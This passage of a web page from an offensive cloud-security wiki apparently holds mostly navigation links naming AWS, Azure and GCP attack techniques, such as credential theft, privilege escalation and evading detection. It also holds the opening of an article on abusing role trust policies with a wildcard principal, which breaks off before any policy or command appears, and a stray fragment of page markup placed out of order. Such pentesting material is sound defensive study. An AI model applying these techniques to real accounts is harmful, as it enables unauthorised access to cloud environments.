5.9s4.3 3.3 5.6 2.3c1.6-1.3 1.6-3.9 0-6.2-1.4-2.3-4-3.3-5.6-2"/></svg> </div> <div class=md-source__repository> Hacking The Cloud </div> </a> </div> </nav> </header> <div class=md-container data-md-component=container> <nav class=md-tabs aria-label=Tabs data-md-component=tabs> <div class=md-grid> <ul class=md-tabs__list> <li class=md-tabs__item> <a href=../../../.. class=md-tabs__link> Hacking The Cloud </a> </li> <li class="md-tabs__item md-tabs__item--active"> <a href=../../../general-knowledge/aws_cli_tips_and_tricks/ class=md-tabs__link> AWS </a> </li> <li class=md-tabs__item> <a href=../../../../azure/abusing-managed-identities/ class=md-tabs__link> Azure </a> </li> <li class=md-tabs__item> <a href=../../../../gcp/general-knowledge/default-account-names/ class=md-tabs__link> GCP </a> </li> <li class=md-tabs__item> <a href=../../../../terraform/terraform_ansi_escape_evasion/ class=md-tabs__link> Terraform </a> </li> <li class=md-tabs__item> <a href=../../../../blog/2023_wrap-up/ class=md-tabs__link> Blog </a> </li> </ul> </div> </nav> <main class=md-main data-md-component=main> <div class="md-main__inner md-grid"> <div class="md-sidebar md-sidebar--primary" data-md-component=sidebar data-md-type=navigation> <div class=md-sidebar__scrollwrap> <div class=md-sidebar__inner> <nav class="md-nav md-nav--primary md-nav--lifted" aria-label=Navigation data-md-level=0> <label class=md-nav__title for=__drawer> <a href=../../../.. title="Hacking The Cloud" class="md-nav__button md-logo" aria-label="Hacking The Cloud" data-md-component=logo> <img src=../../../../assets/logo.png alt=logo> </a> Hacking The Cloud </label> <div class=md-nav__source> <a href=https://github.com/Hacking-the-Cloud/hackingthe.cloud title="Go to repository" class=md-source data-md-component=source> <div class="md-source__icon md-icon"> <svg xmlns=http://www.w3.org/2000/svg viewbox="0 0 496 512"><!-- Font Awesome Free 6.7.1 by @fontawesome - https://fontawesome.com License - https://fontawesome.com/license/free (Icons: CC BY 4.0, Fonts: SIL OFL 1.1, Code: MIT License) Copyright 2024 Fonticons, Inc.--><path d="M165.9 397.4c0 2-2.3 3.6-5.2 3.6-3.3.3-5.6-1.3-5.6-3.6 0-2 2.3-3.6 5.2-3.6 3-.3 5.6 1.3 5.6 3.6m-31.1-4.5c-.7 2 1.3 4.3 4.3 4.9 2.6 1 5.6 0 6.2-2s-1.3-4.3-4.3-5.2c-2.6-.7-5.5.3-6.2 2.3m44.2-1.7c-2.9.7-4.9 2.6-4.6 4.9.3 2 2.9 3.3 5.9 2.6 2.9-.7 4.9-2.6 4.6-4.6-.3-1.9-3-3.2-5.9-2.9M244.8 8C106.1 8 0 113.3 0 252c0 110.9 69.8 205.8 169.5 239.2 12.8 2.3 17.3-5.6 17.3-12.1 0-6.2-.3-40.4-.3-61.4 0 0-70 15-84.7-29.8 0 0-11.4-29.1-27.8-36.6 0 0-22.9-15.7 1.6-15.4 0 0 24.9 2 38.6 25.8 21.9 38.6 58.6 27.5 72.9 20.9 2.3-16 8.8-27.1 16-33.7-55.9-6.2-112.3-14.3-112.3-110.5 0-27.5 7.6-41.3 23.6-58.9-2.6-6.5-11.1-33.3 2.6-67.9 20.9-6.5 69 27 69 27 20-5.6 41.5-8.5 62.8-8.5s42.8 2.9 62.8 8.5c0 0 48.1-33.6 69-27 13.7 34.7 5.2 61.4 2.6 67.9 16 17.7 25.8 31.5 25.8 58.9 0 96.5-58.9 104.2-114.8 110.5 9.2 7.9 17 22.9 17 46.4 0 33.7-.3 75.4-.3 83.6 0 6.5 4.6 14.4 17.3 12.1C428.2 457.8 496 362.9 496 252 496 113.3 383.5 8 244.8 8M97.2 352.9c-1.3 1-1 3.3.7 5.2 1.6 1.6 3.9 2.3 5.2 1 1.3-1 1-3.3-.7-5.2-1.6-1.6-3.9-2.3-5.2-1m-10.8-8.1c-.7 1.3.3 2.9 2.3 3.9 1.6 1 3.6.7 4.3-.7.7-1.3-.3-2.9-2.3-3.9-2-.6-3.6-.3-4.3.7m32.4 35.6c-1.6 1.3-1 4.3 1.3 6.2 2.3 2.3 5.2 2.6 6.5 1 1.3-1.3.7-4.3-1.3-6.2-2.2-2.3-5.2-2.6-6.5-1m-11.4-14.7c-1.6 1-1.6 3.6 0 5.9s4.3 3.3 5.6 2.3c1.6-1.3 1.6-3.9 0-6.2-1.4-2.3-4-3.3-5.6-2"/></svg> </div> <div class=md-source__repository> Hacking The Cloud </div> </a> </div> <ul class=md-nav__list data-md-scrollfix> <li class=md-nav__item> <a href=../../../.. class=md-nav__link> <span class=md-ellipsis> Hacking The Cloud </span> </a> </li> <li class="md-nav__item md-nav__item--active md-nav__item--section md-nav__item--nested"> <input class="md-nav__toggle md-toggle " type=checkbox id=__nav_2 checked> <label class=md-nav__link for=__nav_2 id=__nav_2_label tabindex> <span class=md-ellipsis> AWS </span> <span class="md-nav__icon md-icon"></span> </label> <nav class=md-nav data-md-level=1 aria-labelledby=__nav_2_label aria-expanded=true> <label class=md-nav__title for=__nav_2> <span class="md-nav__icon md-icon"></span> AWS </label> <ul class=md-nav__list data-md-scrollfix> <li class="md-nav__item md-nav__item--nested"> <input class="md-nav__toggle md-toggle " type=checkbox id=__nav_2_1> <label class=md-nav__link for=__nav_2_1 id=__nav_2_1_label tabindex=0> <span class=md-ellipsis> General Knowledge </span> <span class="md-nav__icon md-icon"></span> </label> <nav class=md-nav data-md-level=2 aria-labelledby=__nav_2_1_label aria-expanded=false> <label class=md-nav__title for=__nav_2_1> <span class="md-nav__icon md-icon"></span> General Knowledge </label> <ul class=md-nav__list data-md-scrollfix> <li class=md-nav__item> <a href=../../../general-knowledge/aws_cli_tips_and_tricks/ class=md-nav__link> <span class=md-ellipsis> AWS CLI Tips and Tricks </span> </a> </li> <li class=md-nav__item> <a href=../../../general-knowledge/aws_organizations_defaults/ class=md-nav__link> <span class=md-ellipsis> AWS Organizations Defaults & Pivoting </span> </a> </li> <li class=md-nav__item> <a href=../../../general-knowledge/block-expensive-actions-with-scps/ class=md-nav__link> <span class=md-ellipsis> Prevent Expensive AWS API Actions with SCPs </span> </a> </li> <li class=md-nav__item> <a href=../../../general-knowledge/connection-tracking/ class=md-nav__link> <span class=md-ellipsis> Connection Tracking </span> </a> </li> <li class=md-nav__item> <a href=../../../general-knowledge/iam-key-identifiers/ class=md-nav__link> <span class=md-ellipsis> IAM unique identifiers </span> </a> </li> <li class=md-nav__item> <a href=../../../general-knowledge/intro_metadata_service/ class=md-nav__link> <span class=md-ellipsis> Introduction to the Instance Metadata Service </span> </a> </li> <li class=md-nav__item> <a href=../../../general-knowledge/introduction_user_data/ class=md-nav__link> <span class=md-ellipsis> Introduction to User Data </span> </a> </li> <li class=md-nav__item> <a href=../../../general-knowledge/using_stolen_iam_credentials/ class=md-nav__link> <span class=md-ellipsis> Using Stolen IAM Credentials </span> </a> </li> </ul> </nav> </li> <li class="md-nav__item md-nav__item--nested"> <input class="md-nav__toggle md-toggle " type=checkbox id=__nav_2_2> <label class=md-nav__link for=__nav_2_2 id=__nav_2_2_label tabindex=0> <span class=md-ellipsis> Enumeration </span> <span class="md-nav__icon md-icon"></span> </label> <nav class=md-nav data-md-level=2 aria-labelledby=__nav_2_2_label aria-expanded=false> <label class=md-nav__title for=__nav_2_2> <span class="md-nav__icon md-icon"></span> Enumeration </label> <ul class=md-nav__list data-md-scrollfix> <li class=md-nav__item> <a href=../../../enumeration/account_id_from_ec2/ class=md-nav__link> <span class=md-ellipsis> Enumerate AWS Account ID from an EC2 Instance </span> </a> </li> <li class=md-nav__item> <a href=../../../enumeration/account_id_from_s3_bucket/ class=md-nav__link> <span class=md-ellipsis> Enumerate AWS Account ID from a Public S3 Bucket </span> </a> </li> <li class=md-nav__item> <a href=../../../enumeration/brute_force_iam_permissions/ class=md-nav__link> <span class=md-ellipsis> Brute Force IAM Permissions </span> </a> </li> <li class=md-nav__item> <a href=../../../enumeration/bypass_cognito_user_enumeration_controls/ class=md-nav__link> <span class=md-ellipsis> Bypass Cognito Account Enumeration Controls </span> </a> </li> <li class=md-nav__item> <a href=../../../enumeration/discover_secrets_in_public_aims/ class=md-nav__link> <span class=md-ellipsis> Discover secrets in public AMIs </span> </a> </li> <li class=md-nav__item> <a href=../../../enumeration/enum_iam_user_role/ class=md-nav__link> <span class=md-ellipsis> Unauthenticated Enumeration of IAM Users and Roles </span> </a> </li> <li class=md-nav__item> <a href=../../../enumeration/enumerate_principal_arn_from_unique_id/ class=md-nav__link> <span class=md-ellipsis> Derive a Principal ARN from an AWS Unique Identifier </span> </a> </li> <li class=md-nav__item> <a href=../../../enumeration/enumerate_root_email_from_console/ class=md-nav__link> <span class=md-ellipsis> Enumerate Root User Email Address from the AWS Console </span> </a> </li> <li class=md-nav__item> <a href=../../../enumeration/get-account-id-from-keys/ class=md-nav__link> <span class=md-ellipsis> Get Account ID from AWS Access Keys </span> </a> </li> <li class=md-nav__item> <a href=../../../enumeration/loot_public_ebs_snapshots/ class=md-nav__link> <span class=md-ellipsis> Loot Public EBS Snapshots </span> </a> </li> <li class=md-nav__item> <a href=../../../enumeration/whoami/ class=md-nav__link> <span class=md-ellipsis> Whoami - Get Principal Name From Keys </span> </a> </li> </ul> </nav> </li> <li class="md-nav__item md-nav__item--active md-nav__item--nested"> <input class="md-nav__toggle md-toggle " type=checkbox id=__nav_2_3 checked> <label class=md-nav__link for=__nav_2_3 id=__nav_2_3_label tabindex=0> <span class=md-ellipsis> Exploitation </span> <span class="md-nav__icon md-icon"></span> </label> <nav class=md-nav data-md-level=2 aria-labelledby=__nav_2_3_label aria-expanded=true> <label class=md-nav__title for=__nav_2_3> <span class="md-nav__icon md-icon"></span> Exploitation </label> <ul class=md-nav__list data-md-scrollfix> <li class=md-nav__item> <a href=../../abusing-container-registry/ class=md-nav__link> <span class=md-ellipsis> Abusing Elastic Container Registry for Lateral Movement </span> </a> </li> <li class=md-nav__item> <a href=../../cognito_identity_pool_excessive_privileges/ class=md-nav__link> <span class=md-ellipsis> Abusing Overpermissioned AWS Cognito Identity Pools </span> </a> </li> <li class=md-nav__item> <a href=../../cognito_user_self_signup/ class=md-nav__link> <span class=md-ellipsis> Abusing Unintended Self-Signup in AWS Cognito </span> </a> </li> <li class=md-nav__item> <a href=../../ec2-metadata-ssrf/ class=md-nav__link> <span class=md-ellipsis> Steal EC2 Metadata Credentials via SSRF </span> </a> </li> <li class=md-nav__item> <a href=../../iam_privilege_escalation/ class=md-nav__link> <span class=md-ellipsis> AWS IAM Privilege Escalation Techniques </span> </a> </li> <li class=md-nav__item> <a href=../../lambda-steal-iam-credentials/ class=md-nav__link> <span class=md-ellipsis> Steal IAM Credentials and Event Data from Lambda </span> </a> </li> <li class=md-nav__item> <a href=../../local_ec2_priv_esc_through_user_data/ class=md-nav__link> <span class=md-ellipsis> EC2 Privilege Escalation Through User Data </span> </a> </li> <li class=md-nav__item> <a href=../../orphaned_cloudfront_or_dns_takeover_via_s3/ class=md-nav__link> <span class=md-ellipsis> DNS and CloudFront Domain Takeover via Deleted S3 Buckets </span> </a> </li> <li class=md-nav__item> <a href=../../route53_modification_privilege_escalation/ class=md-nav__link> <span class=md-ellipsis> AWS API Call Hijacking via ACM-PCA </span> </a> </li> <li class=md-nav__item> <a href=../../s3-bucket-replication-exfiltration/ class=md-nav__link> <span class=md-ellipsis> Exfiltrating S3 Data with Bucket Replication Policies </span> </a> </li> <li class=md-nav__item> <a href=../../s3_server_access_logs/ class=md-nav__link> <span class=md-ellipsis> Data Exfiltration through S3 Server Access Logs </span> </a> </li> <li class=md-nav__item> <a href=../../s3_streaming_copy/ class=md-nav__link> <span class=md-ellipsis> S3 Streaming Copy </span> </a> </li> <li class="md-nav__item md-nav__item--active md-nav__item--nested"> <input class="md-nav__toggle md-toggle " type=checkbox id=__nav_2_3_13 checked> <div class="md-nav__link md-nav__container"> <a href=../ class="md-nav__link "> <span class=md-ellipsis> Misconfigured Resource Based Policies </span> </a> <label class="md-nav__link " for=__nav_2_3_13 id=__nav_2_3_13_label tabindex=0> <span class="md-nav__icon md-icon"></span> </label> </div> <nav class=md-nav data-md-level=3 aria-labelledby=__nav_2_3_13_label aria-expanded=true> <label class=md-nav__title for=__nav_2_3_13> <span class="md-nav__icon md-icon"></span> Misconfigured Resource Based Policies </label> <ul class=md-nav__list data-md-scrollfix> <li class=md-nav__item> <a href=../exploit_amplify_vulnerability_in_same_account_scenario/ class=md-nav__link> <span class=md-ellipsis> CVE-2024-28056: Exploit an AWS Amplify Vulnerability in Same-Account Scenarios </span> </a> </li> <li class=md-nav__item> <a href=../exploiting_misconfigured_gitlab_oidc_aws_iam_roles/ class=md-nav__link> <span class=md-ellipsis> Exploiting Misconfigured GitLab OIDC AWS IAM Roles </span> </a> </li> <li class=md-nav__item> <a href=../misconfigured_ecr_resource_policy/ class=md-nav__link> <span class=md-ellipsis> Abusing Misconfigured ECR Resource Policies </span> </a> </li> <li class="md-nav__item md-nav__item--active"> <input class="md-nav__toggle md-toggle" type=checkbox id=__toc> <label class="md-nav__link md-nav__link--active" for=__toc> <span class=md-ellipsis> Abusing Misconfigured Role Trust Policies with a Wildcard Principal </span> <span class="md-nav__icon md-icon"></span> </label> <a href=./ class="md-nav__link md-nav__link--active"> <span class=md-ellipsis> Abusing Misconfigured Role Trust Policies with a Wildcard Principal </span> </a> <nav class="md-nav md-nav--secondary" aria-label="Table of contents"> <label class=md-nav__title for=__toc> <span class="md-nav__icon md-icon"></span> Table of contents </label> <ul class=md-nav__list data-md-component=toc data-md-scrollfix> <li class=md-nav__item> <a href=#role-trust-policies class=md-nav__link> <span class=md-ellipsis> Role Trust Policies </span> </a> </li> <li class=md-nav__item> <a href=#how-to-exploit class=md-nav__link> <span class=md-ellipsis> How to Exploit </span> </a> </li> </ul> </nav> </li> </ul> </nav> </li> </ul> </nav> </li> <li class="md-nav__item md-nav__item--nested"> <input class="md-nav__toggle md-toggle " type=checkbox id=__nav_2_4> <label class=md-nav__link for=__nav_2_4 id=__nav_2_4_label tabindex=0> <span class=md-ellipsis> Avoid Detection </span> <span class="md-nav__icon md-icon"></span> </label> <nav class=md-nav data-md-level=2 aria-labelledby=__nav_2_4_label aria-expanded=false> <label class=md-nav__title for=__nav_2_4> <span class="md-nav__icon md-icon"></span> Avoid Detection </label> <ul class=md-nav__list data-md-scrollfix> <li class=md-nav__item> <a href=../../../avoiding-detection/guardduty-pentest/ class=md-nav__link> <span class=md-ellipsis> Bypass GuardDuty Pentest Findings for the AWS CLI </span> </a> </li> <li class=md-nav__item> <a href=../../../avoiding-detection/guardduty-tor-client/ class=md-nav__link> <span class=md-ellipsis> Bypass GuardDuty Tor Client Findings </span> </a> </li> <li class=md-nav__item> <a href=../../../avoiding-detection/modify-guardduty-config/ class=md-nav__link> <span class=md-ellipsis> Modify GuardDuty Configuration </span> </a> </li> <li class=md-nav__item> <a href=../../../avoiding-detection/steal-keys-undetected/ class=md-nav__link> <span class=md-ellipsis> Bypass Credential Exfiltration Detection </span> </a> </li> </ul> </nav> </li> <li class="md-nav__item md-nav__item--nested"> <input class="md-nav__toggle md-toggle " type=checkbox id=__nav_2_5> <label class=md-nav__link for=__nav_2_5 id=__nav_2_5_label tabindex=0> <span class=md-ellipsis> Post Exploitation </span> <span class="md-nav__icon md-icon"></span> </label> <nav class=md-nav data-md-level=2 aria-labelledby=__nav_2_5_label aria-expanded=false> <label class=md-nav__title for=__nav_2_5> <span class="md-nav__icon md-icon"></span> Post Exploitation </label> <ul class=md-nav__list data-md-scrollfix> <li class=md-nav__item> <a href=../../../post_exploitation/create_a_console_session_from_iam_credentials/ class=md-nav__link> <span class=md-ellipsis> Create a Console Session from IAM Credentials </span> </a> </li> <li class=md-nav__item> <a href=../../../post_exploitation/download_tools_and_exfiltrate_data_with_aws_cli/ class=md-nav__link> <span class=md-ellipsis> Download Tools and Exfiltrate Data with the AWS CLI </span> </a> </li> <li class=md-nav__item> <a href=../../../post_exploitation/get_iam_creds_from_console_session/ class=md-nav__link> <span class=md-ellipsis> Get IAM Credentials from a Console Session </span> </a> </li> <li class=md-nav__item> <a href=../../../post_exploitation/iam_persistence/ class=md-nav__link> <span class=md-ellipsis> AWS IAM Persistence Methods </span> </a> </li> <li class=md-nav__item> <a href=../../../post_exploitation/intercept_ssm_communications/ class=md-nav__link> <span class=md-ellipsis> Intercept SSM Communications </span> </a> </li> <li class=md-nav__item> <a href=../../../post_exploitation/lambda_persistence/ class=md-nav__link> <span class=md-ellipsis> Lambda Persistence </span> </a> </li> <li class=md-nav__item> <a href=../../../post_exploitation/role-chain-juggling/ class=md-nav__link> <span class=md-ellipsis> Role Chain Juggling </span> </a> </li> <li class=md-nav__item> <a href=../../../post_exploitation/run_shell_commands_on_ec2/ class=md-nav__link> <span class=md-ellipsis> Run Shell Commands on EC2 with Send Command or Session Manager </span> </a> </li> <li class=md-nav__item> <a href=../../../post_exploitation/s3_acl_persistence/ class=md-nav__link> <span class=md-ellipsis> S3 File ACL Persistence </span> </a> </li> <li class=md-nav__item> <a href=../../../post_exploitation/survive_access_key_deletion_with_sts_getfederationtoken/ class=md-nav__link> <span class=md-ellipsis> Survive Access Key Deletion with sts:GetFederationToken </span> </a> </li> <li class=md-nav__item> <a href=../../../post_exploitation/user_data_script_persistence/ class=md-nav__link> <span class=md-ellipsis> User Data Script Persistence </span> </a> </li> </ul> </nav> </li> <li class="md-nav__item md-nav__item--nested"> <input class="md-nav__toggle md-toggle " type=checkbox id=__nav_2_6> <label class=md-nav__link for=__nav_2_6 id=__nav_2_6_label tabindex=0> <span class=md-ellipsis> Deprecated </span> <span class="md-nav__icon md-icon"></span> </label> <nav class=md-nav data-md-level=2 aria-labelledby=__nav_2_6_label aria-expanded=false> <label class=md-nav__title for=__nav_2_6> <span class="md-nav__icon md-icon"></span> Deprecated </label> <ul class=md-nav__list data-md-scrollfix> <li class=md-nav__item> <a href=../../../deprecated/stealth_perm_enum/ class=md-nav__link> <span class=md-ellipsis> [Deprecated] Enumerate Permissions without Logging to CloudTrail </span> </a> </li> <li class=md-nav__item> <a href=../../../deprecated/whoami/ class=md-nav__link> <span class=md-ellipsis> [Deprecated] Whoami - Get Principal Name From Keys </span> </a> </li> </ul> </nav> </li> <li class="md-nav__item md-nav__item--nested"> <input class="md-nav__toggle md-toggle " type=checkbox id=__nav_2_7> <label class=md-nav__link for=__nav_2_7 id=__nav_2_7_label tabindex=0> <span class=md-ellipsis> Capture the Flag </span> <span class="md-nav__icon md-icon"></span> </label> <nav class=md-nav data-md-level=2 aria-labelledby=__nav_2_7_label aria-expanded=false> <label class=md-nav__title for=__nav_2_7> <span class="md-nav__icon md-icon"></span> Capture the Flag </label> <ul class=md-nav__list data-md-scrollfix> <li class=md-nav__item> <a href=../../../capture_the_flag/cicdont/ class=md-nav__link> <span class=md-ellipsis> CI/CDon't </span> </a> </li> </ul> </nav> </li> </ul> </nav> </li> <li class="md-nav__item md-nav__item--nested"> <input class="md-nav__toggle md-toggle " type=checkbox id=__nav_3> <label class=md-nav__link for=__nav_3 id=__nav_3_label tabindex=0> <span class=md-ellipsis> Azure </span> <span class="md-nav__icon md-icon"></span> </label> <nav class=md-nav data-md-level=1 aria-labelledby=__nav_3_label aria-expanded=false> <label class=md-nav__title for=__nav_3> <span class="md-nav__icon md-icon"></span> Azure </label> <ul class=md-nav__list data-md-scrollfix> <li class=md-nav__item> <a href=../../../../azure/abusing-managed-identities/ class=md-nav__link> <span class=md-ellipsis> Abusing Managed Identities </span> </a> </li> <li class=md-nav__item> <a href=../../../../azure/anonymous-blob-access/ class=md-nav__link> <span class=md-ellipsis> Anonymous Blob Access </span> </a> </li> <li class=md-nav__item> <a href=../../../../azure/enum_email_addresses/ class=md-nav__link> <span class=md-ellipsis> Unauthenticated Enumeration of Azure Active Directory Email Addresses </span> </a> </li> <li class=md-nav__item> <a href=../../../../azure/run-command-abuse/ class=md-nav__link> <span class=md-ellipsis> Run Command Abuse </span> </a> </li> <li class=md-nav__item> <a href=../../../../azure/soft-deleted-blobs/ class=md-nav__link> <span class=md-ellipsis> Soft Deleted Blobs </span> </a> </li> </ul> </nav> </li> <li class="md-nav__item md-nav__item--nested"> <input class="md-nav__toggle md-toggle " type=checkbox id=__nav_4> <label class=md-nav__link for=__nav_4 id=__nav_4_label tabindex=0> <span class=md-ellipsis> GCP </span> <span class="md-nav__icon md-icon"></span> </label> <nav class=md-nav data-md-level=1 aria-labelledby=__nav_4_label aria-expanded=false> <label class=md-nav__title for=__nav_4> <span class="md-nav__icon md-icon"></span> GCP </label> <ul class=md-nav__list data-md-scrollfix> <li class="md-nav__item md-nav__item--nested"> <input class="md-nav__toggle md-toggle " type=checkbox id=__nav_4_1> <label class=md-nav__link for=__nav_4_1 id=__nav_4_1_label tabindex=0> <span class=md-ellipsis> General Knowledge </span> <span class="md-nav__icon md-icon"></span> </label> <nav class=md-nav data-md-level=2 aria-labelledby=__nav_4_1_label aria-expanded=false> <label class=md-nav__title for=__nav_4_1> <span class="md-nav__icon md-icon"></span> General Knowledge </label> <ul class=md-nav__list data-md-scrollfix> <li class=md-nav__item> <a href=../../../../gcp/general-knowledge/default-account-names/ class=md-nav__link> <span class=md-ellipsis> Default Account Information </span> </a> </li> <li class=md-nav__item> <a href=../../../../gcp/general-knowledge/gcp-buckets/ class=md-nav__link> <span class=md-ellipsis> Hunting GCP Buckets </span> </a> </li> <li class=md-nav__item> <a href=../../../../gcp/general-knowledge/metadata_in_google_cloud_instances/ class=md-nav__link> <span class=md-ellipsis> Metadata in Google Cloud Instances </span> </a> </li> <li class=md-nav__item> <a href=../../../../gcp/general-knowledge/security-and-constraints/ class=md-nav__link> <span class=md-ellipsis> Security and Constraints </span> </a> </li> </ul> </nav> </li> <li class="md-nav__item md-nav__item--nested"> <input class="md-nav__toggle md-toggle " type=checkbox id=__nav_4_2> <label class=md-nav__link for=__nav_4_2 id=__nav_4_2_label tabindex=0> <span class=md-ellipsis> Enumeration </span> <span class="md-nav__icon md-icon"></span> </label> <nav class=md-nav data-md-level=2 aria-labelledby=__nav_4_2_label aria-expanded=false> <label class=md-nav__title for=__nav_4_2> <span class="md-nav__icon md-icon"></span> Enumeration </label> <ul class=md-nav__list data-md-scrollfix> <li class=md-nav__item> <a href=../../../../gcp/enumeration/enum_email_addresses/ class=md-nav__link> <span class=md-ellipsis> Unauthenticated Enumeration of Google Workspace Email Addresses </span> </a> </li> <li class=md-nav__item> <a href=../../../../gcp/enumeration/enumerate_all_permissions/ class=md-nav__link> <span class=md-ellipsis> Enumerate Org/Folder/Project Permissions + Individual Resource Permissions </span> </a> </li> <li class=md-nav__item> <a href=../../../../gcp/enumeration/enumerate_service_account_permissions/ class=md-nav__link> <span class=md-ellipsis> Enumerate Service Account Permissions </span> </a> </li> </ul> </nav> </li> <li class="md-nav__item md-nav__item--nested"> <input class="md-nav__toggle md-toggle " type=checkbox id=__nav_4_3> <label class=md-nav__link for=__nav_4_3 id=__nav_4_3_label tabindex=0> <span class=md-ellipsis> Exploitation </span> <span class="md-nav__icon md-icon"></span> </label> <nav class=md-nav data-md-level=2 aria-labelledby=__nav_4_3_label aria-expanded=false> <label class=md-nav__title for=__nav_4_3> <span class="md-nav__icon md-icon"></span> Exploitation </label> <ul class=md-nav__list data-md-scrollfix> <li class=md-nav__item> <a href=../../../../gcp/exploitation/gcp_iam_privilege_escalation/ class=md-nav__link> <span class=md-ellipsis> Privilege Escalation in Google Cloud Platform </span> </a> </li> </ul> </nav> </li> <li class="md-nav__item md-nav__item--nested"> <input class="md-nav__toggle md-toggle " type=checkbox id=__nav_4_4> <label class=md-nav__link for=__nav_4_4 id=__nav_4_4_label tabindex=0> <span class=md-ellipsis> Capture the Flag </span> <span class="md-nav__icon md-icon"></span> </label> <nav class=md-nav data-md-level=2 aria-labelledby=__nav_4_4_label aria-expanded=false> <label class=md-nav__title for=__nav_4_4> <span class="md-nav__icon md-icon"></span> Capture the Flag </label> <ul class=md-nav__list data-md-scrollfix> <li class=md-nav__item> <a href=../../../../gcp/capture_the_flag/gcp-goat/ class=md-nav__link> <span class=md-ellipsis> GCP Goat </span> </a> </li> <li class=md-nav__item> <a href=../../../../gcp/capture_the_flag/thunder_ctf/ class=md-nav__link> <span class=md-ellipsis> Thunder CTF </span> </a> </li> </ul> </nav> </li> </ul> </nav> </li> <li class="md-nav__item md-nav__item--nested"> <input class="md-nav__toggle md-toggle " type=checkbox id=__nav_5> <label class=md-nav__link for=__nav_5 id=__nav_5_label tabindex=0> <span class=md-ellipsis> Terraform </span> <span class="md-nav__icon md-icon"></span> </label> <nav class=md-nav data-md-level=1 aria-labelledby=__nav_5_label aria-expanded=false> <label class=md-nav__title for=__nav_5> <span class="md-nav__icon md-icon"></span> Terraform </label> <ul class=md-nav__list data-md-scrollfix> <li class=md-nav__item> <a href=../../../../terraform/terraform_ansi_escape_evasion/ class=md-nav__link> <span class=md-ellipsis> Terraform ANSI Escape </span> </a> </li> <li class=md-nav__item> <a href=../../../../terraform/terraform_enterprise_metadata_service/ class=md-nav__link> <span class=md-ellipsis> Terraform Enterprise: Attack the Metadata Service </span> </a> </li> </ul> </nav> </li> <li class="md-nav__item md-nav__item--nested"> <input class="md-nav__toggle md-toggle " type=checkbox id=__nav_6> <label class=md-nav__link for=__nav_6 id=__nav_6_label tabindex=0> <span class=md-ellipsis> Blog </span> <span class="md-nav__icon md-icon"></span> </label> <nav class=md-nav data-md-level=1 aria-labelledby=__nav_6_label aria-expanded=false> <label class=md-nav__title for=__nav_6> <span class="md-nav__icon md-icon"></span> Blog </label> <ul class=md-nav__list data-md-scrollfix> <li class=md-nav__item> <a href=../../../../blog/2023_wrap-up/ class=md-nav__link> <span class=md-ellipsis> 2023 Wrap-up </span> </a> </li> <li class=md-nav__item> <a href=../../../../blog/2022_wrap-up/ class=md-nav__link> <span class=md-ellipsis> 2022 Wrap-up </span> </a> </li> <li class=md-nav__item> <a href=../../../../blog/v2_new_look/ class=md-nav__link> <span class=md-ellipsis> Hacking The Cloud v2: New Look </span> </a> </li> </ul> </nav> </li> </ul> </nav> </div> </div> </div> <div class="md-sidebar md-sidebar--secondary" data-md-component=sidebar data-md-type=toc> <div class=md-sidebar__scrollwrap> <div class=md-sidebar__inner> <nav class="md-nav md-nav--secondary" aria-label="Table of contents"> <label class=md-nav__title for=__toc> <span class="md-nav__icon md-icon"></span> Table of contents </label> <ul class=md-nav__list data-md-component=toc data-md-scrollfix> <li class=md-nav__item> <a href=#role-trust-policies class=md-nav__link> <span class=md-ellipsis> Role Trust Policies </span> </a> </li> <li class=md-nav__item> <a href=#how-to-exploit class=md-nav__link> <span class=md-ellipsis> How to Exploit </span> </a> </li> </ul> </nav> </div> </div> </div> <div class=md-content data-md-component=content> <article class="md-content__inner md-typeset"> <p>Article by Nick Frichette</p> <a href=https://github.com/Hacking-the-Cloud/hackingthe.cloud/edit/main/content/aws/exploitation/Misconfigured_Resource-Based_Policies/misconfigured_iam_role_trust_policy_wildcard_principal.md title="Edit this page" class="md-content__button md-icon"> <svg xmlns=http://www.w3.org/2000/svg viewbox="0 0 24 24"><path d="M10 20H6V4h7v5h5v3.1l2-2V8l-6-6H6c-1.1 0-2 .9-2 2v16c0 1.1.9 2 2 2h4zm10.2-7c.1 0 .3.1.4.2l1.3 1.3c.2.2.2.6 0 .8l-1 1-2.1-2.1 1-1c.1-.1.2-.2.4-.2m0 3.9L14.1 23H12v-2.1l6.1-6.1z"/></svg> </a> <h1>Abusing Misconfigured Role Trust Policies with a Wildcard Principal</h1> <p>As penetration testers and red teamers we often take advantage of misconfigurations to exploit cloud environments. These are mistakes made by developers and DevOps engineers that make applications and services vulnerable to attack. In this article we will explore one of the more egregious mistakes that can be made in an AWS environment; setting a wildcard as a <code>Principal</code> in a role trust policy.</p> <h2 id=role-trust-policies>Role Trust Policies<a class=headerlink href=#role-trust-policies title="Permanent link">&para;</a></h2> <p>As stated in the AWS <a href=https://docs.aws.amazon.com/IAM/latest/UserGuide/id_roles_terms-and-concepts.html#term_trust-policy>documentation</a>, a role trust policy is, "A JSON policy document in which you define the principals that you trust to assume the role. A role trust policy is a required resource-based policy that is attached to a role in IAM".</p> <p>This policy typically looks like the following:</p> <div class=highlight><pre><span></span><code><span class=p>{</span>
+    body[data-md-color-scheme="slate"] .gslide-desc { color: var(--md-default-fg-color);}</style> <script src="../../../../assets/javascripts/glightbox.min.js"></script></head> <body dir=ltr data-md-color-scheme=slate data-md-color-primary=red data-md-color-accent=indigo> <input class=md-toggle data-md-toggle=drawer type=checkbox id=__drawer autocomplete=off> <input class=md-toggle data-md-toggle=search type=checkbox id=__search autocomplete=off> <label class=md-overlay for=__drawer></label> <div data-md-component=skip> <a href=#role-trust-policies class=md-skip> Skip to content </a> </div> <div data-md-component=announce> <aside class=md-banner> <div class="md-banner__inner md-grid md-typeset"> For updates follow <strong>Nick Frichette</strong> on <a rel=me href=https://bsky.app/profile/frichetten.com> <span class="twemoji bluesky"> <svg xmlns=http://www.w3.org/2000/svg viewbox="0 0 512 512"><!-- Font Awesome Free 6.7.1 by @fontawesome - https://fontawesome.com License - https://fontawesome.com/license/free (Icons: CC BY 4.0, Fonts: SIL OFL 1.1, Code: MIT License) Copyright 2024 Fonticons, Inc.--><path d="M111.8 62.2C170.2 105.9 233 194.7 256 242.4c23-47.6 85.8-136.4 144.2-180.2 42.1-31.6 110.3-56 110.3 21.8 0 15.5-8.9 130.5-14.1 149.2-18.2 64.8-84.4 81.4-143.3 71.3C456 322 482.2 380 425.6 438c-107.4 110.2-154.3-27.6-166.3-62.9-1.7-4.9-2.6-7.8-3.3-7.8s-1.6 3-3.3 7.8c-12 35.3-59 173.1-166.3 62.9-56.5-58-30.4-116 72.5-133.5C100 314.6 33.8 298 15.7 233.1 10.4 214.4 1.5 99.4 1.5 83.9c0-77.8 